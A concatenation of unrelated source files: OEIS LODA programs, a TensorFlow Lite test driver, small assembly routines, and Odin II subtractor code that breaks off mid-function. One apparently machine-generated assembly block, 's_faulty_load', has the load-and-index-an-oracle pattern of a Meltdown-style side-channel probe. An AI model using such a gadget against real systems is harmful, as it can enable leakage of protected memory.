; A092342: a(n) = sigma_3(3n+1). ; 1,73,344,1134,2198,4681,6860,11988,15751,25112,29792,44226,50654,73710,79508,109512,117993,160454,167832,219510,226982,299593,300764,390096,389018,500780,493040,620298,619164,779220,756112,934416,912674,1149823,1092728 mul $0,3 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mov $4,$0 cmp $4,0 add $0,$4 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,3 add $1,$3 lpe add $1,1 mov $0,$1
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/lite/testing/tf_driver.h" #include <fstream> #include <iostream> #include "absl/strings/escaping.h" #include "tensorflow/core/lib/gtl/array_slice.h" #include "tensorflow/lite/string_util.h" #include "tensorflow/lite/testing/join.h" #include "tensorflow/lite/testing/split.h" namespace tflite { namespace testing { namespace { tensorflow::Tensor CreateTensor(const tensorflow::DataType type, const std::vector<int64_t>& dim) { tensorflow::TensorShape shape{tensorflow::gtl::ArraySlice<tensorflow::int64>{ reinterpret_cast<const tensorflow::int64*>(dim.data()), dim.size()}}; return {type, shape}; } template <typename T> int FillTensorWithData(tensorflow::Tensor* tensor, const string& values_as_string) { const auto& values = testing::Split<T>(values_as_string, ","); if (values.size() == tensor->NumElements()) { auto data = tensor->flat<T>(); for (int i = 0; i < values.size(); i++) { data(i) = values[i]; } } return values.size(); } // Assumes 'values_as_string' is a hex string that gets converted into a // TF Lite DynamicBuffer. Strings are then extracted and copied into the // TensorFlow tensor. int FillTensorWithTfLiteHexString(tensorflow::Tensor* tensor, const string& values_as_string) { string s = absl::HexStringToBytes(values_as_string); int num_strings = values_as_string.empty() ? 0 : GetStringCount(s.data()); if (num_strings == tensor->NumElements()) { auto data = tensor->flat<string>(); for (size_t i = 0; i < num_strings; ++i) { auto ref = GetString(s.data(), i); data(i).assign(ref.str, ref.len); } } return num_strings; } template <typename T> void FillTensorWithZeros(tensorflow::Tensor* tensor) { auto data = tensor->flat<T>(); for (int i = 0; i < tensor->NumElements(); i++) { data(i) = 0; } } template <typename T> string TensorDataToCsvString(const tensorflow::Tensor& tensor) { const auto& data = tensor.flat<T>(); return Join(data.data(), data.size(), ","); } string TensorDataToTfLiteHexString(const tensorflow::Tensor& tensor) { DynamicBuffer dynamic_buffer; auto data = tensor.flat<string>(); for (int i = 0; i < tensor.NumElements(); ++i) { dynamic_buffer.AddString(data(i).data(), data(i).size()); } char* char_buffer = nullptr; size_t size = dynamic_buffer.WriteToBuffer(&char_buffer); string s = absl::BytesToHexString({char_buffer, size}); free(char_buffer); return s; } } // namespace TfDriver::TfDriver(const std::vector<string>& input_layer, const std::vector<string>& input_layer_type, const std::vector<string>& input_layer_shape, const std::vector<string>& output_layer) : input_names_(input_layer), output_names_(output_layer) { CHECK_EQ(input_layer.size(), input_layer_type.size()); CHECK_EQ(input_layer.size(), input_layer_shape.size()); input_ids_.resize(input_layer.size()); input_tensors_.reserve(input_layer.size()); input_types_.resize(input_layer.size()); input_shapes_.resize(input_layer.size()); for (int i = 0; i < input_layer.size(); i++) { input_ids_[i] = i; input_tensors_[input_layer[i]] = {}; CHECK(DataTypeFromString(input_layer_type[i], &input_types_[i])); input_shapes_[i] = Split<int64_t>(input_layer_shape[i], ","); } output_ids_.resize(output_layer.size()); output_tensors_.reserve(output_layer.size()); for (int i = 0; i < output_layer.size(); i++) { output_ids_[i] = i; } } void TfDriver::LoadModel(const string& bin_file_path) { if (!IsValid()) return; std::ifstream model(bin_file_path); if (model.fail()) { Invalidate("Failed to find the model " + bin_file_path); return; } tensorflow::GraphDef graphdef; if (!graphdef.ParseFromIstream(&model)) { Invalidate("Failed to parse tensorflow graphdef"); return; } tensorflow::SessionOptions options; session_.reset(tensorflow::NewSession(options)); auto status = session_->Create(graphdef); if (!status.ok()) { Invalidate("Failed to create session. " + status.error_message()); } } void TfDriver::SetInput(const string& values_as_string, tensorflow::Tensor* tensor) { int num_values_available = 0; switch (tensor->dtype()) { case tensorflow::DT_FLOAT: num_values_available = FillTensorWithData<float>(tensor, values_as_string); break; case tensorflow::DT_INT32: num_values_available = FillTensorWithData<int32_t>(tensor, values_as_string); break; case tensorflow::DT_UINT8: num_values_available = FillTensorWithData<uint8_t>(tensor, values_as_string); break; case tensorflow::DT_STRING: num_values_available = FillTensorWithTfLiteHexString(tensor, values_as_string); break; default: Invalidate(absl::StrCat("Unsupported tensor type ", tensorflow::DataType_Name(tensor->dtype()), " in SetInput")); return; } if (tensor->NumElements() != num_values_available) { Invalidate(absl::StrCat("Needed ", tensor->NumElements(), " values for input tensor, but was given ", num_values_available, " instead.")); } } void TfDriver::SetInput(int id, const string& values_as_string) { if (!IsValid()) return; auto tensor = CreateTensor(input_types_[id], input_shapes_[id]); SetInput(values_as_string, &tensor); input_tensors_[input_names_[id]] = tensor; } void TfDriver::ResetTensor(int id) { if (!IsValid()) return; auto tensor = input_tensors_[input_names_[id]]; switch (input_types_[id]) { case tensorflow::DT_FLOAT: { FillTensorWithZeros<float>(&tensor); break; } case tensorflow::DT_INT32: { FillTensorWithZeros<int32_t>(&tensor); break; } default: Invalidate(absl::StrCat("Unsupported tensor type ", input_types_[id], tensorflow::DataType_Name(input_types_[id]), " in ResetInput")); return; } } void TfDriver::ReshapeTensor(int id, const string& values_as_string) { input_shapes_[id] = Split<int64_t>(values_as_string, ","); input_tensors_[input_names_[id]] = CreateTensor(input_types_[id], input_shapes_[id]); ResetTensor(id); } string TfDriver::ReadOutput(const tensorflow::Tensor& tensor) { switch (tensor.dtype()) { case tensorflow::DT_FLOAT: return TensorDataToCsvString<float>(tensor); case tensorflow::DT_INT32: return TensorDataToCsvString<int32_t>(tensor); case tensorflow::DT_INT64: return TensorDataToCsvString<tensorflow::int64>(tensor); case tensorflow::DT_UINT8: return TensorDataToCsvString<uint8_t>(tensor); case tensorflow::DT_STRING: return TensorDataToTfLiteHexString(tensor); case tensorflow::DT_BOOL: return TensorDataToCsvString<bool>(tensor); default: Invalidate(absl::StrCat("Unsupported tensor type ", tensorflow::DataType_Name(tensor.dtype()), " in ReadOutput")); return ""; } } string TfDriver::ReadOutput(int id) { if (!IsValid()) return ""; return ReadOutput(output_tensors_[id]); } void TfDriver::Invoke() { if (!IsValid()) return; auto status = session_->Run({input_tensors_.begin(), input_tensors_.end()}, output_names_, {}, &output_tensors_); if (!status.ok()) { Invalidate(absl::StrCat("TensorFlow failed to run graph:", status.error_message())); } } } // namespace testing } // namespace tflite
; A138100: The atomic numbers read along the odd-indexed rows of the Janet table of the elements. ; 1,2,5,6,7,8,9,10,11,12,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88 mov $3,$0 trn $0,1 mov $1,2 lpb $0,1 add $2,$1 add $2,1 add $1,$2 mul $2,2 sub $0,$2 trn $0,2 add $2,1 sub $2,$1 lpe trn $1,3 add $1,4 lpb $3,1 add $1,1 sub $3,1 lpe sub $1,3
; A117614: a(0)=1, a(n)=4a(n-1)+2 for n odd, a(n)=4a(n-1) for n even. ; 1,6,24,98,392,1570,6280,25122,100488,401954,1607816,6431266,25725064,102900258,411601032,1646404130,6585616520,26342466082,105369864328,421479457314,1685917829256,6743671317026,26974685268104,107898741072418,431594964289672,1726379857158690,6905519428634760,27622077714539042,110488310858156168,441953243432624674,1767812973730498696,7071251894921994786,28285007579687979144,113140030318751916578,452560121275007666312,1810240485100030665250,7240961940400122661000,28963847761600490644002,115855391046401962576008,463421564185607850304034,1853686256742431401216136,7414745026969725604864546,29658980107878902419458184,118635920431515609677832738,474543681726062438711330952,1898174726904249754845323810,7592698907616999019381295240,30370795630467996077525180962,121483182521871984310100723848,485932730087487937240402895394,1943730920349951748961611581576,7774923681399806995846446326306,31099694725599227983385785305224,124398778902396911933543141220898,497595115609587647734172564883592,1990380462438350590936690259534370,7961521849753402363746761038137480,31846087399013609454987044152549922,127384349596054437819948176610199688,509537398384217751279792706440798754 mov $1,4 pow $1,$0 mul $1,46 div $1,30 mov $0,$1
%include "common.asm" ;The first six integer or pointer arguments are passed in registers ;RDI, RSI, RDX, RCX, R8, and R9 ;int ;cpuid_amd64(int eax_in, int ecx_in, int *eax, int *ebx, int *ecx, int *edx) PROC cpuid_amd64 ; save registers push rbx push rdx push rcx push r8 push r9 mov rax, rdi mov rcx, rsi cpuid pop rdi mov [rdi], edx pop rdi mov [rdi], ecx pop rdi mov [rdi], ebx pop rdi mov [rdi], eax mov rax, 0 ; restore registers pop rbx ret END_OF_FILE
; COPYRIGHT (c) 1995,99,2002 XDS. All Rights Reserved. ; X2C_HISETs constant array cpu 386 bits 32 %ifdef OS2 group DGROUP _DATA section _DATA use32 align=4 FLAT public 'DATA' %else group DGROUP _DATA section _DATA use32 align=16 public 'DATA' %endif global X2C_HISETs X2C_HISETs: dd 0FFFFFFFFh, 0FFFFFFFEh, 0FFFFFFFCh, 0FFFFFFF8h dd 0FFFFFFF0h, 0FFFFFFE0h, 0FFFFFFC0h, 0FFFFFF80h dd 0FFFFFF00h, 0FFFFFE00h, 0FFFFFC00h, 0FFFFF800h dd 0FFFFF000h, 0FFFFE000h, 0FFFFC000h, 0FFFF8000h dd 0FFFF0000h, 0FFFE0000h, 0FFFC0000h, 0FFF80000h dd 0FFF00000h, 0FFE00000h, 0FFC00000h, 0FF800000h dd 0FF000000h, 0FE000000h, 0FC000000h, 0F8000000h dd 0F0000000h, 0E0000000h, 0C0000000h, 080000000h
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1577b, %rcx nop nop add $31735, %r13 mov (%rcx), %bx add $11777, %rcx lea addresses_UC_ht+0x1c90b, %r12 nop xor $43533, %r14 mov $0x6162636465666768, %r10 movq %r10, (%r12) nop sub %r12, %r12 lea addresses_UC_ht+0x1720b, %r10 nop nop and %r15, %r15 mov (%r10), %r14w nop nop nop add %r13, %r13 lea addresses_normal_ht+0x10d0b, %rcx nop nop nop nop sub %r14, %r14 mov (%rcx), %r13 nop nop xor %r14, %r14 lea addresses_WC_ht+0x1a08b, %r10 nop nop nop nop nop cmp %r15, %r15 and $0xffffffffffffffc0, %r10 movaps (%r10), %xmm5 vpextrq $0, %xmm5, %rcx nop sub $19389, %rcx lea addresses_UC_ht+0x1378b, %rsi lea addresses_WT_ht+0x1376b, %rdi inc %r13 mov $104, %rcx rep movsl sub $16892, %rcx lea addresses_normal_ht+0x70b, %rdi nop nop nop add $21384, %rbx movb (%rdi), %cl nop nop nop nop nop and $56088, %rbx lea addresses_WC_ht+0x12e0b, %rdi nop nop add %rbx, %rbx mov (%rdi), %cx nop nop nop nop nop cmp $53075, %r13 lea addresses_D_ht+0x4b0b, %r15 nop nop nop add $65220, %r10 mov (%r15), %rdi nop nop nop sub %r13, %r13 lea addresses_WT_ht+0xc69b, %rsi lea addresses_D_ht+0xa60b, %rdi nop nop sub $5250, %r10 mov $75, %rcx rep movsw nop nop nop nop nop cmp %r14, %r14 lea addresses_UC_ht+0xa0b, %r15 nop and %r13, %r13 mov (%r15), %r12w nop nop nop xor $21967, %r15 lea addresses_WC_ht+0x1251b, %rdi nop nop nop nop cmp $21761, %r15 movw $0x6162, (%rdi) nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x1ce0b, %r10 and %r12, %r12 movb $0x61, (%r10) nop nop nop nop sub %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %rax push %rbp push %rcx push %rdx push %rsi // Faulty Load lea addresses_PSE+0x1b60b, %rdx nop nop nop add $28753, %r11 mov (%rdx), %ecx lea oracles, %rax and $0xff, %rcx shlq $12, %rcx mov (%rax,%rcx,1), %rcx pop %rsi pop %rdx pop %rcx pop %rbp pop %rax pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
/* * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include "odin_types.h" #include "odin_util.h" #include "node_creation_library.h" #include "adders.h" #include "subtractions.h" #include "netlist_utils.h" #include "partial_map.h" #include "read_xml_arch_file.h" #include "odin_globals.h" #include "vtr_memory.h" #include "vtr_util.h" using vtr::t_linked_vptr; t_linked_vptr* sub_list = NULL; t_linked_vptr* sub_chain_list = NULL; int subchaintotal = 0; int* sub = NULL; void init_split_adder_for_sub(nnode_t* node, nnode_t* ptr, int a, int sizea, int b, int sizeb, int cin, int cout, int index, int flag); /*--------------------------------------------------------------------------- * (function: report_sub_distribution) *-------------------------------------------------------------------------*/ /* These values are collected during the unused logic removal sweep */ extern long subtractor_chain_count; extern long longest_subtractor_chain; extern long total_subtractors; void report_sub_distribution() { if (hard_adders == NULL) return; printf("\nHard MINUS Distribution\n"); printf("============================\n"); printf("\n"); printf("\nTotal # of chains = %ld\n", subtractor_chain_count); printf("\nHard sub chain Details\n"); printf("============================\n"); printf("\n"); printf("\nThe Number of Hard Block subs in the Longest Chain: %ld\n", longest_subtractor_chain); printf("\n"); printf("\nThe Total Number of Hard Block subs: %ld\n", total_subtractors); return; } /*--------------------------------------------------------------------------- * (function: declare_hard_adder_for_sub) *-------------------------------------------------------------------------*/ void declare_hard_adder_for_sub(nnode_t* node) { t_adder* tmp; int width_a, width_b, width_sumout; /* See if this size instance of adder exists?*/ if (hard_adders == NULL) { warning_message(NETLIST_ERROR, node->related_ast_node->line_number, node->related_ast_node->file_number, "%s\n", "Instantiating Substraction where hard adders do not exist"); } tmp = (t_adder*)hard_adders->instances; width_a = node->input_port_sizes[0]; width_b = node->input_port_sizes[1]; width_sumout = node->output_port_sizes[1]; while (tmp != NULL) { if ((tmp->size_a == width_a) && (tmp->size_b == width_b) && (tmp->size_sumout == width_sumout)) return; else tmp = tmp->next; } /* Does not exist - must create an instance*/ tmp = (t_adder*)vtr::malloc(sizeof(t_adder)); tmp->next = (t_adder*)hard_adders->instances; hard_adders->instances = tmp; tmp->size_a = width_a; tmp->size_b = width_b; tmp->size_cin = 1; tmp->size_cout = 1; tmp->size_sumout = width_sumout; return; } /*--------------------------------------------------------------------------- * (function: instantiate_hard_adder_subtraction ) *-------------------------------------------------------------------------*/ void instantiate_hard_adder_subtraction(nnode_t* node, short mark, netlist_t* /*netlist*/) { char* new_name = NULL; int len, sanity, i; declare_hard_adder_for_sub(node); /* Need to give node proper name */ len = strlen(node->name); len = len + 20; /* 20 chars should hold mul specs */ new_name = (char*)vtr::malloc(len); /* wide input first :) identical branching! ? */ //if (node->input_port_sizes[0] > node->input_port_sizes[1]) sanity = odin_sprintf(new_name, "%s", node->name); // else // sanity = odin_sprintf(new_name, "%s", node->name); if (new_name) { vtr::free(new_name); } if (len <= sanity) /* buffer not large enough */ oassert(false); /* Give names to the output pins */ for (i = 0; i < node->num_output_pins; i++) { if (node->output_pins[i]->name == NULL) { len = strlen(node->name) + 20; /* 6 chars for pin idx */ new_name = (char*)vtr::malloc(len); odin_sprintf(new_name, "%s[%d]", node->name, node->output_pins[i]->pin_node_idx); node->output_pins[i]->name = new_name; } } node->traverse_visited = mark; return; } /*----------------------------------------------------------------------- * (function: init_split_adder) * Create a carry chain adder when spliting. Inputs are connected * to original pins, output pins are set to NULL for later connecting *---------------------------------------------------------------------*/ void init_split_adder_for_sub(nnode_t* node, nnode_t* ptr, int a, int sizea, int b, int sizeb, int cin, int cout, int index, int flag) { int i; int flaga = 0; int current_sizea, current_sizeb; int aa = 0; int num = 0; // if the input of the first cin is generated by a dummy adder added // to the start of the chain, then an offset is needed to compensate // for that in various positions in the code, otherwise the offset is 0 const int offset = (configuration.adder_cin_global) ? 0 : 1; /* Copy properties from original node */ ptr->type = node->type; ptr->related_ast_node = node->related_ast_node; ptr->traverse_visited = node->traverse_visited; ptr->node_data = NULL; /* decide the current size of input a and b */ if (flag == 0) { current_sizea = (a + offset) - sizea * index; current_sizeb = (b + offset) - sizeb * index; if (current_sizea >= sizea) current_sizea = sizea; else if (current_sizea <= 0) { current_sizea = sizea; flaga = 1; } else { aa = current_sizea; current_sizea = sizea; flaga = 2; } current_sizeb = sizeb; } else { if (sizea != 0) current_sizea = sizea; else current_sizea = 1; if (sizeb != 0) current_sizeb = sizeb; else current_sizeb = 1; } /* Set new port sizes and parameters */ ptr->num_input_port_sizes = 3; ptr->input_port_sizes = (int*)vtr::malloc(3 * sizeof(int)); ptr->input_port_sizes[0] = current_sizea; ptr->input_port_sizes[1] = current_sizeb; ptr->input_port_sizes[2] = cin; ptr->num_output_port_sizes = 2; ptr->output_port_sizes = (int*)vtr::malloc(2 * sizeof(int)); ptr->output_port_sizes[0] = cout; /* The size of output port sumout equals the maxim size of a and b */ if (current_sizea > current_sizeb) ptr->output_port_sizes[1] = current_sizea; else ptr->output_port_sizes[1] = current_sizeb; /* Set the number of pins and re-locate previous pin entries */ ptr->num_input_pins = current_sizea + current_sizeb + cin; ptr->input_pins = (npin_t**)vtr::malloc(sizeof(void*) * (current_sizea + current_sizeb + cin)); //the normal sub: if flaga or flagb = 1, the input pins should be empty. //the unary sub: all input pins for a should be null, input pins for b should be connected to node if (node->num_input_port_sizes == 1) { for (i = 0; i < current_sizea; i++) ptr->input_pins[i] = NULL; } else if ((flaga == 1) && (node->num_input_port_sizes == 2)) { for (i = 0; i < current_sizea; i++) ptr->input_pins[i] = NULL; } else if ((flaga == 2) && (node->num_input_port_sizes == 2)) { if (index == 0) { ptr->input_pins[0] = NULL; if (sizea > 1) { for (i = 1; i < aa; i++) { ptr->input_pins[i] = node->input_pins[i + index * sizea - 1]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } for (i = 0; i < (sizea - aa); i++) ptr->input_pins[i + aa] = NULL; } } else { for (i = 0; i < aa; i++) { ptr->input_pins[i] = node->input_pins[i + index * sizea - 1]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } for (i = 0; i < (sizea - aa); i++) ptr->input_pins[i + aa] = NULL; } } else { if (index == 0 && !configuration.adder_cin_global) { if (flag == 0) { ptr->input_pins[0] = NULL; if (sizea > 1) { for (i = 1; i < sizea; i++) { ptr->input_pins[i] = node->input_pins[i + index * sizea - 1]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } } } else { for (i = 0; i < current_sizea; i++) { ptr->input_pins[i] = node->input_pins[i]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } } } else { if (flag == 0) { for (i = 0; i < sizea; i++) { ptr->input_pins[i] = node->input_pins[i + index * sizea - offset]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } } else { num = node->input_port_sizes[0]; for (i = 0; i < current_sizea; i++) { ptr->input_pins[i] = node->input_pins[i + num - current_sizea]; ptr->input_pins[i]->node = ptr; ptr->input_pins[i]->pin_node_idx = i; } } } } for (i = 0; i < current_sizeb; i++) ptr->input_pins[i + current_sizeb] = NULL; /* Carry_in should be NULL*/ for (i = 0; i < cin; i++) { ptr->input_pins[i + current_sizea + current_sizeb] = NULL; } /* output pins */ int output; if (current_sizea > current_sizeb) output = current_sizea + cout; else output = current_sizeb + cout; ptr->num_output_pins = output; ptr->output_pins = (npin_t**)vtr::malloc(sizeof(void*) * output); for (i = 0; i < output; i++) ptr->output_pins[i] = NULL; return; } /*------------------------------------------------------------------------- * (function: split_adder) * * This function works to split a adder into several smaller * adders to better "fit" with the available resources in a * targeted FPGA architecture. * * This function is at the lowest level since it simply receives * a adder and is told how to split it. * * Note that for some of the additions we need to perform sign extensions, * but this should not be a problem since the sign extension is always * extending NOT contracting. *-----------------------------------------------------------------------*/ void split_adder_for_sub(nnode_t* nodeo, int a, int b, int sizea, int sizeb, int cin, int cout, int count, netlist_t* netlist) { nnode_t** node; nnode_t** not_node; int i, j; int num; int max_num = 0; int flag = 0, lefta = 0, leftb = 0; // if the input of the first cin is generated by a dummy adder added // to the start of the chain, then an offset is needed to compensate // for that in various positions in the code, otherwise the offset is 0 const int offset = (configuration.adder_cin_global) ? 0 : 1; /* Check for a legitimate split */ if (nodeo->num_input_port_sizes == 2) { oassert(nodeo->input_port_sizes[0] == a); oassert(nodeo->input_port_sizes[1] == b); } else { oassert(nodeo->input_port_sizes[0] == a); oassert(nodeo->input_port_sizes[0] == b); } node = (nnode_t**)vtr::malloc(sizeof(nnode_t*) * (count)); not_node = (nnode_t**)vtr::malloc(sizeof(nnode_t*) * (b)); for (i = 0; i < b; i++) { not_node[i] = allocate_nnode(); nnode_t* temp = not_node[i]; if (nodeo->num_input_port_sizes == 2) not_node[i] = make_not_gate_with_input(nodeo->input_pins[a + i], not_node[i], -1); else not_node[i] = make_not_gate_with_input(nodeo->input_pins[i], not_node[i], -1); free_nnode(temp); } for (i = 0; i < count; i++) { node[i] = allocate_nnode(); node[i]->name = (char*)vtr::malloc(strlen(nodeo->name) + 20); odin_sprintf(node[i]->name, "%s-%d", nodeo->name, i); if (i == count - 1) { if (configuration.fixed_hard_adder == 1) init_split_adder_for_sub(nodeo, node[i], a, sizea, b, sizeb, cin, cout, i, flag); else { if (count == 1) { lefta = a; leftb = b; } else { lefta = (a + 1) % sizea; leftb = (b + 1) % sizeb; } max_num = (lefta >= leftb) ? lefta : leftb; // if fixed_hard_adder = 0, and the left of a and b is more than min_add, then adder need to be remain the same size. if (max_num >= min_add || lefta + leftb == 0) init_split_adder_for_sub(nodeo, node[i], a, sizea, b, sizeb, cin, cout, i, flag); else { // Using soft logic to do the addition, No need to pad as the same size flag = 1; init_split_adder_for_sub(nodeo, node[i], a, lefta, b, leftb, cin, cout, i, flag); } } } else init_split_adder_for_sub(nodeo, node[i], a, sizea, b, sizeb, cin, cout, i, flag); //store the processed hard adder node for optimization processed_adder_list = insert_in_vptr_list(processed_adder_list, node[i]); } chain_information_t* adder_chain = allocate_chain_info(); //if flag = 0, the last adder use soft logic, so the count of the chain should be one less if (flag == 0) adder_chain->count = count; else adder_chain->count = count - 1; adder_chain->num_bits = a + b; adder_chain->name = nodeo->name; sub_chain_list = insert_in_vptr_list(sub_chain_list, 